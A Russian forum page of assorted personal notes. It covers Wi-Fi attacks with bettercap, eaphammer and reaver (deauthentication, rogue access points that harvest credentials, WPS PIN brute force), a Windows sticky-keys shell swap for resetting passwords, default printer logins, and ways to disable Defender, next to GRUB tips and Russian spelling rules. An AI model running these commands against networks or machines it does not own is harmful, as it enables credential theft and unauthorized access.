Пожалуйста, войдите или зарегистрируйтесь.
1 час 1 день 1 неделя 1 месяц Навсегда

bettercap — the Swiss Army knife for Wi-Fi, Bluetooth Low Energy, wireless HID hijacking, CAN-bus and IPv4 and IPv6 networks reconnaissance and MITM attacks.

Код: [Выделить]

bettercap -iface wlan1


Код: [Выделить]

wifi.recon on
set ticker.commands 'clear; wifi.show'
ticker on
wifi.recon.channel 9
wifi.deauth 58:23:8c:7e:ed:13


bettercap WEB UI - http://127.0.0.1:8080/ , username: user, password: pass.

Код: [Выделить]

bettercap -iface wlan1 -eval "ui on"


В WPA2-Personal (Wi-Fi Protected Access 2 - Personal) используется единый всех клиентов данной беспроводной сети PSK (Pre-Shared Key) — статический ключ (пароль, кодовое слово) минимальной длиной 8 символов, который задается в настройках точки доступа, и шифрование AES (Advanced Encryption Standard).

В WPA2-Enterprise MGT (Machine-Generated Token) вместо PSK используется аутентификация по протоколу 802.1X на сервере RADIUS (Remote Authentication Dial-In User Service), при этом у каждого пользователя свои логин и пароль, что снижает риск компрометации учётных данных.


Создать сертификат RADIUS для точки доступа (необходим для любой атаки, затрагивающей EAP)

Код: [Выделить]

eaphammer --cert-wizard

Создать поддельную точку доступа для сбора учётных данных - интерфейс wlan1, канал 11, имя "MyAP"

Код: [Выделить]

eaphammer -i wlan1 --channel 11 --auth wpa-eap --essid MyAP --creds

Создать поддельную точку доступа для сбора учётных данных - интерфейс wlan1, канал 11, имя "MyAP", предложить сначала самые слабые методы EAP

Код: [Выделить]

eaphammer -i wlan1 --channel 11 --auth wpa-eap --essid MyAP --negotiate weakest --creds

Создать поддельную точку доступа для сбора учётных данных - интерфейс wlan1, канал 11, имя "MyAP", предложить сначала EAP-GTC, затем перейти к более надёжным методам для ускорения согласования EAP

Код: [Выделить]

eaphammer -i wlan1 --channel 11 --auth wpa-eap --essid MyAP --negotiate balanced --creds


Существует два типа WPS:
• WPS с кнопкой — её нужно нажать на точке доступа и на клиенте с интервалом меньше пары минут;
• WPS в виде PIN-кода из 8-ми цифр — на клиенте нужно ввести тот же код, что и на точке доступа.
Математически из 8-ми цифр может быть 100 000 000 комбинаций. Однако первые 4 и следующие 3 цифры проверяются независимо друг от друга, а последняя цифра вычисляется как контрольная сумма предыдущих 7-ми, что сокращает брутфорс до 11 000 возможных комбинаций и делает возможным такую атаку.

Для работы необходимо сначала перевести Wi-Fi интерфейс в режим мониторинга!

Код: [Выделить]

wifite -i wlan1
wash -U -p -i wlan1
reaver -i wlan1 -vv --pixie-dust -b <BSSID>
oneshot.py -i wlan1


1. Загрузиться с установочного диска/флешки Windows.
2. В программе установки нажать клавиши [Shift]+[F10], откроется командная строка.


Вариант 1
3. В появившейся командной строке ввести:

Код: (Для Windows 7 и Windows 8) [Выделить]

MOVE C:\Windows\System32\sethc.exe C:\Windows\System32\sethc1.exe
COPY C:\Windows\System32\CMD.exe   C:\Windows\System32\sethc.exe


Код: (Для Windows 10 и Windows 11) [Выделить]

MOVE C:\Windows\System32\UtilMan.exe C:\Windows\System32\UtilMan1.exe
COPY C:\Windows\System32\CMD.exe     C:\Windows\System32\UtilMan.exe

4. Закрыть командную строку, выйти из программы установки.
5. Загрузить компьютер с жёсткого диска.
6. Нажать на [Shift] 5 раз, откроется командная строка.


Вариант 2
3. В появившейся командной строке ввести regedit.
3.1. В Редакторе реестра выделить HKEY_LOCAL_MACHINE, затем в меню выбрать "Файл" ➔ "Загрузить куст" ➔ выбрать файл <каталог Windows>\System32\config\SYSTEM, отредактировать следующие параметры

Код: [Выделить]

[HKEY_LOCAL_MACHINE\SYSTEM\Setup]
"CmdLine"="cmd.exe"
"SetupType"=dword:00000001
3.2. В меню выбрать "Файл" ➔ "Выгрузить куст".
4. Закрыть Редактор реестра, командную строку, выйти из программы установки.
5. Загрузить компьютер с жёсткого диска.
6. При загрузке автоматически откроется командная строка.


Общее
7.1. Вывести список пользователей командой

Код: [Выделить]

net user
7.2. Изменить пароль нужного пользователя командой

Код: [Выделить]

net user <имя_пользователя> <новый_пароль>


Показать диски и разделы

Код: [Выделить]

ls -lh

Показать файлы в данном разделе

Код: [Выделить]

ls -lh (hd1,gpt6)/

Загрузить Linux (пути задаём используя символические ссылки)

Код: [Выделить]

root=hd1,gpt6
linux vmlinuz root=/dev/nvme0n1p6
initrd initrd.img
boot

Загрузить Linux (полные пути, помогает клавиша TAB)

Код: [Выделить]

root=hd1,gpt6
linux /boot/vmlinuz-6.16.8+kali-amd64 root=/dev/nvme0n1p6
initrd /boot/initrd.img-6.16.8+kali-amd64
boot

Загрузка с внешнего диска

Код: [Выделить]

root=hd1
chainloader +1
boot


Проблема: Windows 11 не даёт безопасно извлечь внешний USB-диск, сообщение:
«Windows не удается остановить "Том", так как оно используется программами. Завершите все программы, которые могут использовать его, а затем повторите попытку.»
или
«Устройство ещё используется. Завершите выполнение всех программ и закройте все окна, которые могут использовать это устройство, а затем повторите попытку.»

Решение: возможно поможет что-то из этого


Диспетчер Транзакционных Ресурсов будет очищать метаданные при следующем подключении на диске Y:

Код: [Выделить]

fsutil resource setAutoReset true Y:\

Остановить Диспетчер Транзакционных Ресурсов - в большинстве случаем после этого получится извлечь диск стандартными средствами

Код: [Выделить]

fsutil resource stop Y:

Отключить том (если не помогла предыдущая команда)

Код: [Выделить]

fsutil volume dismount Y:


Открыть диалог безопасного извлечения устройств

Код: [Выделить]

RunDll32.exe shell32.dll,Control_RunDLL hotplug.dll


Brother: admin/access
Canon: ADMIN/canon
Epson: epson/epson, EPSONWEB/admin
HP: admin/admin или blank, пароль точки доступа - 12345678
Kyocera: Admin/Admin
Pantum: admin/000000, пароль точки доступа - 12345678
Xerox: Admin/1111

Имя числительное — часть речи, характеризующая количество лиц или предметов.
Числительные бывают количественные (один, два, три, сто) и порядковые (первый, второй, тысячный).

Буквенное падежное окончание (наращение) используется:
• при записи порядковых числительных

Код: [Выделить]

10-й класс «Б»
студент 2-го курса
13-й вагон
занять 2-е и 3-е места
в начале 90-х годов
83-й маршрут
• в датах, если слово год или название месяца опущено или поставлено перед числом

Код: [Выделить]

в 2029-м астероид Апофис приблизится к Земле
верну деньги в мае, числа 10-го
грянул великий 1917-й

Наращение не используется:
• в записи количественных числительных

Код: [Выделить]

словарь в 4 томах
работа 2 сотрудников
серия из 12 упражнений)
• при записи календарных чисел

Код: [Выделить]

17 августа 1998 года
1 апреля
32 мартобря
• в номерах томов, глав, страниц, иллюстраций, таблиц, приложений и т. п., если родовое слово (страница, том, глава) предшествует числительному

Код: [Выделить]

на с. 196
в т. 5
в табл. 11
в прил. 1
НО
на 196-й странице
в 5-м томе
в 11-й таблице
в 1-м приложении
• если число обозначено римской цифрой

Код: [Выделить]

II Международная олимпиада школьников по русскому языку
IX конгресс
XXI век
Людовик XIV

Наращение должно быть однобуквенным, если последней букве числительного предшествует гласный звук.

Код: [Выделить]

3-й день (третИй день)
71-я квартира (семьдесят первАя квартира)
в 32-м издании (в тридцать вторОм издании)
в 14-м ряду (в четырнадцатОм ряду)

Наращение должно быть двубуквенным, если последней букве предшествует согласный.

Код: [Выделить]

3-го дня (третьеГо дня)
к 71-му квартиранту (к семьдесят первоМу квартиранту)
из 32-го издания (из тридцать второГо издания)
из 14-го ряда (из четырнадцатоГо ряда)

Если подряд следуют два порядковых числительных, разделенных запятой или соединенных союзом, падежное окончание наращивают у каждого из них.

Код: [Выделить]

1-й, 2-й вагоны
80-е и 90-е годы

Если подряд следуют более двух порядковых числительных, разделенных запятой, точкой с запятой или соединенных союзом, то падежное окончание наращивают только у последнего числительного.

Код: [Выделить]

1, 2 и 3-й вагоны
70, 80, 90-е годы

Если два порядковых числительных следуют через тире, то падежное окончание наращивают:
• только у второго числительного, если падежное окончание у обоих числительных одинаковое

Код: [Выделить]

20–30-е места
в 80–90-х годах
• у каждого числительного, если падежные окончания разные

Код: [Выделить]

в 11-м – 20-х рядах


Проблема: после выключения Windows Defender через какое-то время он самостоятельно снова включается

Решение: отключить Windows Defender через групповую политику
Запустить GPEdit.msc, выбрать "Конфигурация компьютера" ➔ "Административные шаблоны" ➔ "Компоненты Windows" ➔ "Антивирусная программа Microsoft Defender" ➔ "Выключить антивирусную программу Microsoft Defender" [Включено]

Проблема: Windows 11 не даёт подключаться к сетевым ресурсам (RDP, расшаренные папки) с использованием русского (на кириллице) имени пользователя

Решение: отключить Device Guard

Вариант 1
"Панель управления" ➔ "Программы и компоненты" ➔ "Включение или отключение компонентов Windows" ➔ "Application Guard в Microsoft Defender" ➔ [ ] (снять галочку)


Вариант 2
Внести изменения в реестр

Код: [Выделить]

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\DeviceGuard]
"EnableVirtualizationBasedSecurity"=dword:00000000

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa]
"LsaCfgFlags"=dword:00000000